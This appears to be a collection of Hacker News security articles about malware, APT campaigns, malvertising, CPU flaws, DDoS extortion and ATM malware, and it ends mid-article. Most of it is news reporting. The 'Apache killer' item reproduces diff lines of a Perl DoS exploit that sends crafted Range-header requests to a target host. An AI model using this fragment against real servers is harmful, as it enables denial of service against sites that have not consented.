Malware can increase Cyberbullying rate by Stealing your Images | https://thehackernews.com/2012/11/malware-can-increase-cyberbullying-rate.html | A few week ago, we have seen a major example of Cyberbullying, where a 15-year-old girl 'Amanda Todd' to kill herself. The Internet can be a dangerous place for the young, exposing them to e-threats such as malware, phishing schemes, pornography or material promoting the use of drugs and violence, among others. In order to keep your kids safe, you'll need to know about the different types of online dangers that are out there.
Researchers from TrendMicro found a malware that steals images from your hard drives of an affected system and able to upload them to a remote FTP server. Malware specifically look for all .JPG, .JPEG, and .DMP files in the storage.
Once your system will connect to internet, malware will upload first 20,000 files to the FTP server. "Information theft routines have been mostly limited to information that are in text form, thus this malware poses a whole new different risk for users."
The internet is a very useful tool, but it can be a dangerous place if you don't protect yourself. For criminals and scam-artists, the internet is big business and we're all targets. Attacks can strike anytime your computer is connected to the internet. At worst, these attacks can destroy our computers, drain our accounts and steal our identities.
| Malware |
50,000 Websites Hacked Through MailPoet WordPress Plugin Vulnerability | https://thehackernews.com/2014/07/hacking-wordpress-plugin-vulnerability.html | The users of WordPress, a free and open source blogging tool as well as content management system (CMS), that have a popular unpatched wordPress plugin installed are being cautioned to upgrade their sites immediately.
A serious vulnerability in the WordPress plugin, MailPoet, could essentially allows an attacker to inject any file including malware, defacements and spam, whatever they wanted on the server and that too without any authentication.
MailPoet, formerly known as Wysija Newsletter, is a WordPress plugin with more than 1.7 million downloads that allows developers running WordPress to send newsletters and manage subscribers within the content management system.
In a blog post, the security researcher and CEO of the security firm Sucuri, Daniel Cid, pointed out the vulnerability to be serious and said that within three weeks since the vulnerability unveiled, over 50,000 websites have been remotely exploited by the cybercriminals to install backdoors targeting the vulnerable MailPoet plugin.
Some of those compromised websites don't even run WordPress or don't have MailPoet plugin enabled in it, as the malware can infect any website that resides on the server of a hacked WordPress website, according the researcher.
"The malware code had some bugs: it was breaking many websites, overwriting good files and appending various statements in loops at the end of files," Cid said in a blog post. "All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account -- cross-contamination still matters."
"To be clear, the MailPoet vulnerability is the entry point, it doesn't mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighbouring website, it can still affect your website."
The security firm first reported about the vulnerability on the beginning of this month. The backdoor installed is a very nasty and creates an admin account that gives attackers full administrative control. It also injects backdoor code into all themes and core files.
The worst part with this infection is that the malicious code also overwrites valid files, which are very difficult to recover without a good backup in place. It causes many websites to fall over and display the message:
Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91.
The Security firm is clarifying that every build of MailPoet is vulnerable except the only version which is the most recent released 2.6.7. So, users are recommended to update it as soon as possible.
Sucuri security firm is very dedicated in finding vulnerabilities in the WordPress CMS and encouraging users to install the updates. A week ago, it urged the users to upgrade WordPress version due to a vulnerability found in the WPtouch WordPress plugin that could potentially allow any non-administrative logged-in user to upload malicious PHP files or backdoors to the target server without any admin privileges.
Sucuri also found two serious vulnerabilities in the popular WordPress SEO plugin called "All in One SEO Pack" and a critical Remote Code Execution (RCE) flaw in "Disqus Comment System" Plugin of Wordpress few weeks before.
| Vulnerability |
9 million PCs infected with ZeroAccess botnet | https://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html | In recent months, we've seen the rootkit family Win32/Sirefef and Win64/Sirefef (also known as ZeroAccess Botnet) update its command and control protocol and grow to infect more computers while connecting to over one million computers globally.
Before, disclosed that it creates its own hidden partition on the hard drive and uses hidden alternative data streams to hide and thrive. Then ZeroAccess developer changed infection tactics and stopped using kernel-mode components in the latest version Security firms tracked the growth of x64 version infections. But Recently uncovered by SophosLabs that ZeroAccess botnet took a major shift in strategy and operating entirely in user-mode memory.
There are two distinct ZeroAccess botnets, and each has a 32-bit version and a 64-bit version, numbering four botnets in total. Each botnet is self-contained because it communicates exclusively on a particular port number hard-coded into the bot executable. The botnets can be categorised based on their port numbers. Ports 16464 and 16465 are used by the 32-bit and 64-bit versions of one botnet; ports 16470 and 16471 are used by the 64-bit and 32-bit versions of the other botnet.
They also disclose the ZeroAccess has been installed on computers over nine million times with the current number of active infected PCs numbering around one million.
The current size of the botnet is somewhere in the region of 9 million machines spread throughout the world, but with the majority located in the U.S.
Other than U.S other top infected countries are :
Brazil
Japan
Romania
Argentina
Venezuela
Chile
The ZeroAccess botnet currently creates two primary revenue streams: click fraud and Bitcoin mining. Click fraud and Bitcoin mining can earn the botnet owners a potential $100,000 a day. "The traffic generated by the ad-click fraud can burn through your bandwidth cap. We have been following a number of bots such as ZeroAccess whose primary function is ad-click fraud. These bots receive instructions from a controller directing them to click on ads on specific web sites. The web site owner gets paid by the advertiser on a per click basis usually through the intermediary of an ad network. The advertisers and ad network operator have a number of safeguards in place to protect against click fraud," the report said.
The ZeroAccess botnet not only makes large amounts of money for its owners but it also causes significant damage and loss in a variety of ways to a variety of individuals and entities. Various aspects of ZeroAccess' operation consume considerable bandwidth. This is 1,227,300 bytes per hour, 29,455,200 per day and 895,929,000 bytes per month. 895 MB per month per bot means a botnet with 1 million nodes could be producing as much as 895,000,000 MB or 895 Terabytes of network traffic per month. And all of this occurs before any files are actually downloaded using the protocol.
The peer-to-peer protocol used by the latest version of ZeroAccess contains only a few commands and is designed to spread files and IP addresses across the network quickly. It is encrypted to avoid easy detection and there are a number of measures taken to avoid the network being poisoned or taken over. This generally held at around 150,000 new installations per day, with a noticeable drop at the end of August.
| Vulnerability |
APT33: Researchers Expose Iranian Hacking Group Linked to Destructive Malware | https://thehackernews.com/2017/09/apt33-iranian-hackers.html | Security researchers have recently uncovered a cyber espionage group targeting aerospace, defence and energy organisations in the United States, Saudi Arabia and South Korea.
According to the latest research published Wednesday by US security firm FireEye, an Iranian hacking group that it calls Advanced Persistent Threat 33 (or APT33) has been targeting critical infrastructure, energy and military sectors since at least 2013 as part of a massive cyber-espionage operation to gather intelligence and steal trade secrets.
The security firm also says it has evidence that APT33 works on behalf of Iran's government.
FireEye researchers have spotted cyber attacks aimed by APT33 since at least May 2016 and found that the group has successfully targeted aviation sector—both military and commercial—as well as organisations in the energy sector with a link to petrochemical.
The APT33 victims include a U.S. firm in the aerospace sector, a Saudi Arabian business conglomerate with aviation holdings, and a South Korean company involved in oil refining and petrochemicals.
Most recently, in May 2017, APT33 targeted employees of a Saudi organisation and a South Korean business conglomerate using a malicious file that attempted to entice them with job vacancies for a Saudi Arabian petrochemical company.
"We believe the targeting of the Saudi organisation may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea's recent partnerships with Iran's petrochemical industry as well as South Korea's relationships with Saudi petrochemical companies," the FireEye report reads.
APT33 targets organisations by sending spear phishing emails with malicious HTML links to infect targets' computers with malware. The malware used by the espionage group includes DROPSHOT (dropper), SHAPESHIFT (wiper) and TURNEDUP (custom backdoor, which is the final payload).
However, in previous research published by Kaspersky, DROPSHOT was tracked by its researchers as StoneDrill, which targeted petroleum company in Europe and believed to be an updated version of Shamoon 2 malware.
"Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT," the report reads.
The SHAPESHIFT malware can wipe disks, erase volumes and delete files, depending on its configuration.
According to FireEye, APT 33 sent hundreds of spear phishing emails last year from several domains, which masqueraded as Saudi aviation companies and international organisations, including Boeing, Alsalam Aircraft Company and Northrop Grumman Aviation Arabia.
The security firm also believes APT 33 is linked to Nasr Institute, an Iranian government organisation that conducts cyber warfare operations.
In July, researchers at Trend Micro and Israeli firm ClearSky uncovered another Iranian espionage group, dubbed Rocket Kittens, that was also active since 2013 and targeted organisations and individuals, including diplomats and researchers, in Israel, Saudi Arabia, Turkey, the United States, Jordan and Germany.
However, FireEye report does not show any links between both the hacking group. For more technical details about the APT33 operations, you can head on to FireEye's official blog post.
| Cyber_Attack |
Malvertising Campaign Hits Top Websites to Spread Ransomware | https://thehackernews.com/2016/03/what-is-malvertising.html | Hackers are always in search for an elite method to create loopholes in the cyberspace to implement the dark rules in the form of vulnerability exploitation.
Top Trustworthy sites such as The New York Times, BBC, MSN, AOL and many more are on the verge of losing their face value as a malwertized advertisement campaign are looming around the websites, according to SpiderLabs.
Here's what Happens to Users when Clicking Ads on these Big Brand Sites:
The advertisements on the legit sites trick users into clicking on it, making them believe that these circulated ads come from a trusted networks.
Once clicked, the malicious Ad redirects the user to a malicious website that hosts Angler Exploit Kit (AEK) to infect visitors by installing malware and ransomware on their computer.
Angler Exploit Kit includes many malicious hacking tools and zero-day exploits that let hackers execute drive-by attacks on visitors' computers.
In this case, the Angler kit scans for the vulnerable PCs and loads Bedep Trojan and TeslaCrypt Ransomware, opening doors for hackers to further install a variety of malicious programs.
Buying Media-Related Domains to Spread Malicious Campaigns
While conducting the background check, the security firm discovered that cyber criminals behind this advertising campaign made use of an expired website domain of Brentsmedia, an online marketing solution who discontinued their service earlier 2016.
According to the web registrar records, Brentsmedia's domain was purchased by Pavel G Ashtahov on March 6th, the day just before the malvertising campaign kickstarted.
Detailed analysis of this mischievous Ad campaign revealed that when a user tends to click on the malwertized Ad, it triggers a JSON file (Javascript Object Notation), which contains a list of security products for cross checking their presence in the victim's system.
If any of the pre-defined products found installed, the malvertising Ads avoid loading the malicious payload to evade the detection by antivirus firms that could block the campaign if detected.
But if not present, it will carry out the exploitation in a stealth mode, ultimately redirecting the user to the malicious page.
The Intensity of the Malvertising!
According to the researchers telemetry, these malicious Ads were delivered through two affiliate networks namely Adnxs, which has already resolved the issue, and Taggify, which has not paid any attention to the seriousness of the problem.
Two more expired media-related domains exhibiting the same characteristics as brentsmedia[.]com: "envangmedia[.]com" and "markets.shangjiamedia[.]com", shows that another similarly named domain has already been registered.
So there might be a possibility of hijacking "media" related branded domains for running malvertising campaigns, as a new generation threat to the global leaders.
| Malware |
Researchers Disclose Undocumented Chinese Malware Used in Recent Attacks | https://thehackernews.com/2021/01/researchers-disclose-undocumented.html | Cybersecurity researchers have disclosed a series of attacks by a threat actor of Chinese origin that has targeted organizations in Russia and Hong Kong with malware — including a previously undocumented backdoor.
Attributing the campaign to Winnti (or APT41), Positive Technologies dated the first attack to May 12, 2020, when the APT used LNK shortcuts to extract and run the malware payload. A second attack detected on May 30 used a malicious RAR archive file consisting of shortcuts to two bait PDF documents that purported to be a curriculum vitae and an IELTS certificate.
The shortcuts themselves contain links to pages hosted on Zeplin, a legitimate collaboration tool for designers and developers that are used to fetch the final-stage malware that, in turn, includes a shellcode loader ("svchast.exe") and a backdoor called Crosswalk ("3t54dE3r.tmp").
Crosswalk, first documented by FireEye in 2017, is a bare-bones modular backdoor capable of carrying out system reconnaissance and receiving additional modules from an attacker-controlled server as shellcode.
While this modus operandi shares similarities with that of the Korean threat group Higaisa — which was found exploiting LNK files attached in an email to launch attacks on unsuspecting victims in 2020 — the researchers said the use of Crosswalk suggests the involvement of Winnti.
This is also supported by the fact that the network infrastructure of the samples overlaps with previously known APT41 infrastructure, with some of the domains traced back to Winnti attacks on the online video game industry in 2013.
The new wave of attacks is no different. Notably, among the targets include Battlestate Games, a Unity3D game developer from St. Petersburg.
Furthermore, the researchers found additional attack samples in the form of RAR files that contained Cobalt Strike Beacon as the payload, with the hackers in one case referencing the U.S. protests related to the death of George Floyd last year as a lure.
In another instance, Compromised certificates belonging to a Taiwanese company called Zealot Digital were abused to strike organizations in Hong Kong with Crosswalk and Metasploit injectors, as well as ShadowPad, Paranoid PlugX, and a new .NET backdoor called FunnySwitch.
The backdoor, which appears to be still under development, is capable of collecting system information and running arbitrary JScript code. It also shares a number of common features with Crosswalk, leading the researchers to believe that they were written by the same developers.
Previously, Paranoid PlugX had been linked to attacks on companies in the video games industry in 2017. Thus, the deployment of the malware via Winnti's network infrastructure adds credence to the "relationship" between the two groups.
"Winnti continues to pursue game developers and publishers in Russia and elsewhere," the researchers concluded. "Small studios tend to neglect information security, making them a tempting target. Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS."
| Cyber_Attack |
FBI themed Mac OS X Ransomware Malware demands $300 Fine | https://thehackernews.com/2013/07/fbi-themed-mac-os-x-ransomware-malware.html | Ransomware is a type of malware that attempts to extort money from a computer user by infecting and taking control of the victim's machine, or the files or documents stored on it. This kind of malware has typically been the domain of Windows users, but has made its way to OS X.
A new piece of FBI themed Ransomware Malware is targeting Mac OS X and hijacking the user's browser with a notice demanding payment of $300 in order to release control of the application and accusing them of illegally accessing pornography.
The address bar shows a URL clearly trying to fool users - fbi.gov.id657546456-3999456674.k8381.com and the warnings appearing to be from the FBI tell the victim: "you have been viewing or distributing prohibited Pornographic content.. To unlock your computer and to avoid other legal consequences, you are obligated to pay a release fee of $300."
According to Malwarebytes, ransomware page is being pushed onto unsuspecting users browsing regular sites but in particular when searching for popular keywords.
The trojan targets the users by using the "restore from crash" feature in the browser, which prevents the user from getting rid of the page. Rather than a sophisticated hijack of the actual browser software or an installation of a trojan, the ransomware is merely a simple webpage using JavaScript to load 150 iframes that require confirmation to be dismissed.
Attempting to close the tab results in a popup stating "YOUR BROWSER HAS BEEN LOCKED." To get rid of such malware page, Click on the Safari menu and then choose "Reset Safari". Make sure all items are marked and hit the Reset button.
| Malware |
7 New Meltdown and Spectre-type CPU Flaws Affect Intel, AMD, ARM CPUs | https://thehackernews.com/2018/11/meltdown-spectre-vulnerabilities.html | Disclosed earlier this year, potentially dangerous Meltdown and Spectre vulnerabilities that affected a large family of modern processors proven that speculative execution attacks can be exploited in a trivial way to access highly sensitive information.
Since then, several more variants of speculative execution attacks have been discovered, including Spectre-NG, SpectreRSB, Spectre 1.1, Spectre1.2, TLBleed, Lazy FP, NetSpectre and Foreshadow, patches for which were released by affected vendors time-to-time.
Speculative execution is a core component of modern processors design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded.
Now, the same team of cybersecurity researchers who discovered original Meltdown and Spectre vulnerabilities have uncovered 7 new transient execution attacks affecting 3 major processor vendors—Intel, AMD, ARM.
While some of the newly-discovered transient execution attacks are mitigated by existing mitigation techniques for Spectre and Meltdown, others are not.
"Transient execution attacks leak otherwise inaccessible information via the CPU's microarchitectural state from instructions which are never committed," the researchers say.
"We also systematically evaluated all defenses, discovering that some transient execution attacks are not successfully mitigated by the rolled out patches and others are not mitigated because they have been overlooked."
Out of 7 newly discovered attacks, as listed below, two are Meltdown variants, named as Meltdown-PK and Meltdown-BR, and other 5 are new Spectre mistraining strategies.
1. Meltdown-PK (Protection Key Bypass)—On Intel CPUs, an attacker with code execution ability in the containing process can bypass both read and write isolation guarantees enforced through memory-protection keys for userspace.
2. Meltdown-BR (Bounds Check Bypass)—Intel and AMD x86 processors that ship with Memory Protection eXtensions (MPX) or IA32 bound for efficient array bounds checking can be bypassed to encode out-of-bounds secrets that are never architecturally visible.
Spectre-PHT (Pattern History Table)
3. Spectre-PHT-CA-OP (Cross-Address-space Out of Place)—Performing previously disclosed Spectre-PHT attacks within an attacker-controlled address space at a congruent address to the victim branch.
4. Spectre-PHT-SA-IP (Same Address-space In Place)—Performing Spectre-PHT attacks within the same address space and the same branch location that is later on exploited.
5. Spectre-PHT-SA-OP (Same Address-space Out of Place)—Performing Spectre-PHT attacks within the same address space with a different branch.
Spectre-BTB (Branch Target Buffer)
6. Spectre-BTB-SA-IP (Same Address-space In Place)—Performing Spectre-BTB attacks within the same address space and the same branch location that is later on exploited.
7. Spectre-BTB-SA-OP (Same Address-space Out of Place)—Performing Spectre-BTB attacks within the same address space with a different branch.
Researchers demonstrate all of the above attacks in practical proof-of-concept attacks against processors from Intel, ARM, and AMD. For Spectre-PHT, all vendors have processors that are vulnerable to all four variants of mistraining, they say.
"We performed a vulnerability assessment for these new attack vectors on Intel, ARM, and AMD. For Intel, we tested our proofs-of-concept on a Skylake i5-6200U and a Haswell i7-4790. Our AMD test machines were a Ryzen 1950X and a Ryzen Threadripper 1920X. For experiments on ARM, a NVIDIA Jetson TX1 has been used," the researchers say.
Researchers responsibly disclosed their findings to Intel, ARM, and AMD, of which Intel and ARM acknowledged the report. The team also said since the vendors are working to address the issues, they decided to hold their proof-of-concept exploits for some time.
For in-depth details about the new attacks, you can head on to the research paper titled, "A Systematic Evaluation of Transient Execution Attacks and Defenses," published by the team of researchers today.
| Cyber_Attack |
DDoS Extortionists made $100,000 without Launching a Single Attack | https://thehackernews.com/2016/04/ddos-extortionist-ransom.html | In Brief
Cyber crooks find a new and ingenious way to make hundreds of thousands of dollars with no effort.
An unknown cyber gang, pretending to be Armada Collective, has made more than $100,000 in less than two months simply by threatening to launch DDoS attack on websites, but never actually launched a single attack.
A group of Cyber Extortionists is sending threatening emails to businesses across the globe involves the launching of powerful distributed denial-of-service (DDoS) attacks against victim's website unless a ransom is paid.
But, the group never actually launched a single DDoS attack.
In a typical scenario, attackers disrupt a targeted website with a short-term DDoS attack in order to demonstrate its power, followed by an e-mail containing ransom note threatening further disruption, if the ransom does not get paid.
Armada Collective is the same criminal gang that was responsible for one of largest DDoS attacks against ProtonMail in November 2015 and extorted $6,000 to stop sustained DDoS attack that knocked its service offline.
It is suspected that this unknown group of scammers and blackmailers are leveraging the reputation of an already established cyber gang 'Armada Collective,' well known for extorting hundreds of thousands of dollars from the victim by launching DDoS attacks, according to a blog post published Monday by CloudFlare.
Some alleged members of Armada Collective were arrested in January this year, but now reports are coming that more than 100 companies have received emails from Armada Collective demanding as much as $23,000 in Bitcoins in exchange for not being attacked.
Besides this, the criminals also warned the victims that the price will rise if they do not pay the ransom. However, no websites were actually flooded with traffic by the collective.
The bottom line:
If you get an email from the Armada Collective threatening to launch DDoS attack, just do not pay up.
Though there are criminal gangs out there performing actual DDoS attacks if you do not pay, Armada Collective is not one of them.
| Cyber_Attack |
How Hackers Could Delete Any YouTube Video With Just One Click | https://thehackernews.com/2015/04/hack-delete-youtube-video.html | A security researcher has discovered a simple but critical vulnerability in Google-owned YouTube that could be exploited by anyone to knock down the whole business of the popular video sharing website.
Kamil Hismatullin, a Russian security bod, found a simple logical vulnerability that allowed him to delete any video from YouTube in one shot.
While looking for Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF) flaws in YouTube Creator Studio, Hismatullin came across a simple logical bug that could wipe up any video by just sending an identity number of any video in a post request against any session token.
The bug was simple but critical as it could be exploited by an attacker to fool YouTube easily into deleting any video on its system.
"I've fought the urge to [delete] Bieber's channel," Hismatullin wrote in his blog post. "Luckily no Bieber videos were harmed."
Citing the consequences of the issue, Hismatullin said "this vulnerability could create utter havoc in a matter of minutes in [attackers'] hands who could extort people or [just] disrupt YouTube by deleting massive amounts of videos in a very short period of time."
The researcher reported the bug to Google, and the search engine giant fixed the issue within several hours. Hismatullin won $5,000 cash reward from Google for finding and reporting the critical issue and an extra $1337 under the company's pre-emptive vulnerability payment scheme.
Over a month ago, a similar bug was reported in Facebook's own systems that could have exploited by attackers to delete any photo from anyone's Facebook account. However, the social networking giant fixed the relatively simple issue.
| Vulnerability |
Facebook track your cookies even after logout ! | https://thehackernews.com/2011/09/facebook-track-your-cookies-even-after.html | Facebook track your cookies even after logout !
According to Australian technologist Nik Cubrilovic: 'Logging out of Facebook is not enough.' He added, Even after you are logged out, Facebook is able to track your browser's page every time you visit a website. He wrote in his blog 'With my browser logged out of Facebook, whenever I visit any page with a Facebook like button, or share button, or any other widget, the information, including my account ID, is still being sent to Facebook.'
After explaining the cookies behavior he also suggested a way to fix the tracking problem: 'The only solution to Facebook not knowing who you are is to delete all Facebook cookies.'
| Vulnerability |
New "Fileless Malware" Targets Banks and Organizations Spotted in the Wild | https://thehackernews.com/2017/02/fileless-malware-bank.html | More than a hundred banks and financial institutions across the world have been infected with a dangerous sophisticated, memory-based malware that's almost undetectable, researchers warned.
Newly published report by the Russian security firm Kaspersky Lab indicates that hackers are targeting banks, telecommunication companies, and government organizations in 40 countries, including the US, South America, Europe and Africa, with Fileless malware that resides solely in the memory of the compromised computers.
Fileless malware was first discovered by the same security firm in 2014, has never been mainstream until now.
Fileless malware is a piece of nasty software that does not copy any files or folder to the hard drive in order to get executed. Instead, payloads are directly injected into the memory of running processes, and the malware executes in the system's RAM.
Since the malware runs in the memory, the memory acquisition becomes useless once the system gets rebooted, making it difficult for digital forensic experts to find the traces of the malware.
The attack was initially discovered by a bank's security team after they found a copy of Meterpreter — an in-memory component of Metasploit — inside the physical memory of a Microsoft domain controller.
After conducting a forensic analysis, Kaspersky researchers found that the attackers leveraged Windows PowerShell to load the Meterpreter code directly into memory rather than writing it to the disk.
The cyber crooks also used Microsoft's NETSH networking tool to set up a proxy tunnel for communicating with the command and control (C&C) server and remotely controlling the infected host.
They also stashed the PowerShell commands into the Windows registry in an effort to reduce nearly all traces of the attacks left in logs or hard drive after a reboot of the device, making detection and forensic analysis difficult.
The ultimate goal of the attackers was apparently aimed at compromising computers that control ATMs so that they could steal money.
Kaspersky Lab researchers plan to reveal more details in April about the attack, which is occurring on an industrial scale worldwide.
The attack has already hit more than 140 enterprise networks in business sectors, with most victims located in the US, France, Ecuador, Kenya, the UK, and Russia. And since the threat is so hard to spot, the actual number is likely much higher.
| Cyber_Attack |
Apache killer exploit modified for better Results | https://thehackernews.com/2011/10/apache-killer-exploit-modified-for.html | Apache killer exploit modified for better Results
"4L4N4 K!LL3R" or Killapache DDOS tool exploit, previously coded by kingscope's , re-edited and coded by "S4(uR4" , which kills apache and still many websites are vulnerable.
S4(uR4 rewrite this exploit on php/curl (web based) with agressive mode. Exploit Consist of 2 part :
1) Test Part (for test u need use static content of site, maybe images, text, html, doc file, etc)
2) Xploiting Part
Difference B/w Old and New Modified Exploit:
40c40
< $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; --- > $p = "HEAD ".($ARGV[2] ? $ARGV[2] : "/")."HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
56c56
< $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; --- > $p = "HEAD ".($ARGV[2] ? $ARGV[2] : "/") ." HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
73c73
< if ($#ARGV > 1) {
---
> if ($#ARGV > 0) {
How does killapache DDOS tool work?
killapache sends GET requests with multiple "byte ranges" that will claim large portions of the system's memory space. A "byte range" statement allows a browser to only load certain parts of a document, for example bytes 500 to 1000. It is normally used while downloading large files. This method is used by programs such as download clients to resume downloads that have been interrupted; it is designed to reduce bandwidth requirements. However, it appears that stating multiple unsorted components in the header can cause an Apache server to malfunction.
There is no patch yet released for this vulnerability on apache, but a few work arounds have been found. These have been posted by The Apache Software Foundation and can be used until a stable fix is released.The vulnerability works by exploiting a feature in web servers that gives you the ability to pause and resume your downloads. These days if you have to stop downloading something part-way through you can generally pick up where you left off and you don't have to start again from scratch.
Download Exploit here
| Vulnerability |
New Android Malware Secretly Records Phone Calls and Steals Private Data | https://thehackernews.com/2018/04/android-spying-trojan.html | Security researchers at Cisco Talos have uncovered variants of a new Android Trojan that are being distributed in the wild disguising as a fake anti-virus application, dubbed "Naver Defender."
Dubbed KevDroid, the malware is a remote administration tool (RAT) designed to steal sensitive information from compromised Android devices, as well as capable of recording phone calls.
Talos researchers published Monday technical details about two recent variants of KevDroid detected in the wild, following the initial discovery of the Trojan by South Korean cybersecurity firm ESTsecurity two weeks ago.
Though researchers haven't attributed the malware to any hacking or state-sponsored group, South Korean media have linked KevDroid with North Korea state-sponsored cyber espionage hacking group "Group 123," primarily known for targeting South Korean targets.
The most recent variant of KevDroid malware, detected in March this year, has the following capabilities:
record phone calls & audio
steal web history and files
gain root access
steal call logs, SMS, emails
collect device' location at every 10 seconds
collect a list of installed applications
Malware uses an open source library, available on GitHub, to gain the ability to record incoming and outgoing calls from the compromised Android device.
Although both malware samples have the same capabilities of stealing information on the compromised device and recording the victim's phone calls, one of the variants even exploits a known Android flaw (CVE-2015-3636) to get root access on the compromised device.
All stolen data is then sent to an attacker-controlled command and control (C2) server, hosted on PubNub global Data Stream Network, using an HTTP POST request.
"If an adversary were successful in obtaining some of the information KevDroid is capable of collecting, it could result in a multitude of issues for the victim," resulting in "the leakage of data, which could lead to a number of things, such as the kidnapping of a loved one, blackmail by using images or information deemed secret, credential harvesting, multi-factor token access (SMS MFA), banking/financial implications and access to privileged information, perhaps via emails/texts," Talos says.
"Many users access their corporate email via mobile devices. This could result in cyber espionage being a potential outcome for KevDroid."
Researchers also discovered another RAT, designed to target Windows users, sharing the same C&C server and also uses PubNub API to send commands to the compromised devices.
How to Keep Your Smartphone Secure
Android users are advised to regularly cross-check apps installed on their devices to find and remove if any malicious/unknown/unnecessary app is there in the list without your knowledge or consent.
Such Android malware can be used to target your devices as well, so you if own an Android device, you are strongly recommended to follow these simple steps to help avoid this happening to you:
Never install applications from 3rd-party stores.
Ensure that you have already opted for Google Play Protect.
Enable 'verify apps' feature from settings.
Keep "unknown sources" disabled while not using it.
Install anti-virus and security software from a well-known cybersecurity vendor.
Regularly back up your phone.
Always use an encryption application for protecting any sensitive information on your phone.
Never open documents that you are not expecting, even if it looks like it's from someone you know.
Protect your devices with pin or password lock so that nobody can gain unauthorized access to your device when remains unattended.
Keep your device always up-to-date with the latest security patches.
| Malware |
Using VPN in the UAE? You'll Be Fined Up To $545,000 If Get Caught! | https://thehackernews.com/2016/07/vpn-is-illegal-in-uae.html | If you get caught using a VPN (Virtual Private Network) in Abu Dhabi, Dubai and the broader of United Arab Emirates (UAE), you could face temporary imprisonment and fines of up to $545,000 (~Dhs2 Million).
Yes, you heard that right.
Online Privacy is one of the biggest challenges in today's interconnected world. The governments across the world have been found to be using the Internet to track people's information and conduct mass surveillance.
Here VPNs and proxy servers come into Play.
VPNs and proxy servers are being used by many digital activists and protesters, who are living under the most oppressive regimes, to protect their online activity from prying eyes.
However, using VPN or proxy in the UAE could land you into great difficulty.
The UAE President Sheikh Khalifa bin Zayed Al Nahyan has issued new sovereign laws for combating cyber crimes, which includes a regulation that prohibits anyone, even travelers, in the UAE from using VPNs to secure their web traffic from prying eyes.
Also Read: Best VPN Services for Fast, Anonymous and Secure Browsing
According to the laws, anyone using a VPN or proxy server can be imprisoned and fined between $136,000 and $545,000 (Dhs500,000 and Dhs2 Million).
The laws have already been issued by the UAE President and have now been reported to the official government news service WAM.
For those unfamiliar, Virtual Private Network (VPN) securely routes your Internet traffic through a distant connection, protecting your browsing, hiding your location data and accessing restricted resources.
Nowadays, VPNs have become a valuable tool not just for large companies, but also for individuals to dodge content restrictions as well as to counter growing threat of cyber attacks.
The UAE's top two telecom companies, Etislat and Du, have banned VoIP -- the phone calling features in popular apps like WhatsApp, Viber, Facebook Messenger and SnapChat that deliver voice calls over the Internet for free -- from within the Gulf nation.
Also Read: Opera Browser Now Offers Free and Unlimited Built-in VPN Service
However, soon the vast number of UAE residents who use VPNs and proxies within the UAE for years to bypass the VoIP ban could be in difficulty.
Out of two new laws issued last week, one lays out fines for anyone who uses a VPN or proxy server, local news reports. The new law regarding VPNs states:
"Whoever uses a fraudulent computer network protocol address (IP address) by using a false address or a third-party address by any other means for the purpose of committing a crime or preventing its discovery, shall be punished by temporary imprisonment and a fine of no less than Dhs500,000 and not exceeding Dhs2 million, or either of these two penalties."
The new move is in favor of telecom companies for whom VoIP 'over-the-top' apps have long been a major issue, as consumers no longer need to pay international calling rates to speak to their loved ones.
| Cyber_Attack |
Dangerous Malware Allows Anyone to Empty ATMs—And It's On Sale! | https://thehackernews.com/2017/10/atm-malware-hacking.html | Hacking ATM is now easier than ever before.
Usually, hackers exploit hardware and software vulnerabilities to hack ATMs and force them to spit out cash, but now anyone can simply buy a malware to steal millions in cash from ATMs.
Hackers are selling ready-made ATM malware on an underground hacking forum that anybody can simply buy for around $5000, researchers at Kaspersky Lab discovered after spotting a forum post advertising the malware, dubbed Cutlet Maker.
The forum post provides a brief description and a detailed manual for the malware toolkit designed to target various ATMs models with the help of a vendor API, without interacting with ATM users and their data.
Therefore, this malware does not affect bank customers directly; instead, it is intended to trick the bank ATMs from a specific vendor to release cash without authorisation.
The manual also mentions an infamous piece of ATM malware, dubbed Tyupkin, which was first analysed in 2014 by Kaspersky Lab and used by an international cybercrime gang to conduct Jackpotting attack and make Millions by infecting ATMs across Europe and beyond.
Here's how Cutlet Maker looks like.
The list of crimeware contains in the toolkit includes:
Cutlet Maker—ATM malware which is the primary element of the toolkit
Stimulator—an application to gather cash cassette statuses of a targeted ATM
c0decalc—a simple terminal-based application to generate a password for the malware.
According to Kaspersky researchers, the functionality of the Cutlet Maker malware suggests that two people are supposed to be involved in the ATM money theft—the roles are called "drop" and "drop master."
"Access to the dispense mechanism of CUTLET MAKER is password protected. Though there could be just one person with the c0decalc application needed to generate a password," the researchers say.
"Either network or physical access to an ATM is required to enter the code in the application text area and also to interact with the user interface."
In order to operate, the application needs a special library, which is part of a proprietary ATM API and controls the cash dispenser unit—this shows how cyber "criminals are using legitimate proprietary libraries and a small piece of code to dispense money from an ATM."
The price of this ATM malware toolkit was $5000 at the time of Kaspersky's research.
The advertisement of this Cutlet Maker ATM malware was initially published on the AlphaBay Darknet marketplace, which was recently taken down by the FBI.
| Malware |
Unpatched VirtualBox Zero-Day Vulnerability and Exploit Released Online | https://thehackernews.com/2018/11/virtualbox-zero-day-exploit.html | An independent exploit developer and vulnerability researcher has publicly disclosed a zero-day vulnerability in VirtualBox—a popular open source virtualization software developed by Oracle—that could allow a malicious program to escape virtual machine (guest OS) and execute code on the operating system of the host machine.
